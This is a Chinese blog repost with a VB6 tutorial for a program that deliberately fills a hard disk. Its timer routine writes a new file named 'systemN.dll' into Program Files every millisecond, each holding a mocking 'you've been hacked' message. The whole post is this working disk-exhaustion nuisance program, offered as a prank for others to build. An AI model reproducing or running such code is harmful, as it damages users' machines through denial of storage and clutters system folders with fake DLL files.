ITPub博客

首页 > 应用开发 > IT综合 > 用vb6制作随机产生文件把硬盘塞满! (转)

用vb6制作随机产生文件把硬盘塞满! (转)

原创 IT综合 作者:gugu99 时间:2007-10-11 08:36:11 0 删除 编辑
用vb6制作随机产生文件把硬盘塞满! (转)[@more@] 首先新建一个.exe工程,然后在窗体中加入timer控件,设置timer的interval=1,双点timer控件,输入以下代码
Private Sub Timer1_Timer()
‘声明变量,其中“count”为静态变量,以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
’定义要把生成的文件存放在那个目录文件下
c = "c:Program Files"
’生成文件的内容
nr = "哈哈,被黑的感觉的不错吧"
files = FreeFile
’如果a等于a那么就执行
If a = a Then
’count不断的加1,以便产生不同的文件名
count = count + 1
’产生文件名及文件句柄,并用count作为产生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
’向文件写内容
Write #files, nr
’清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示
Close #files
End If
End Sub
 小生刚学vb不长时间就班门弄斧,有错的地方望见谅,我的联系信箱.NETboy@cnpick.com,有空和我联系啦,呵呵。

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10748419/viewspace-975757/,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论
  • 博文量
    3122
  • 访问量
    2226441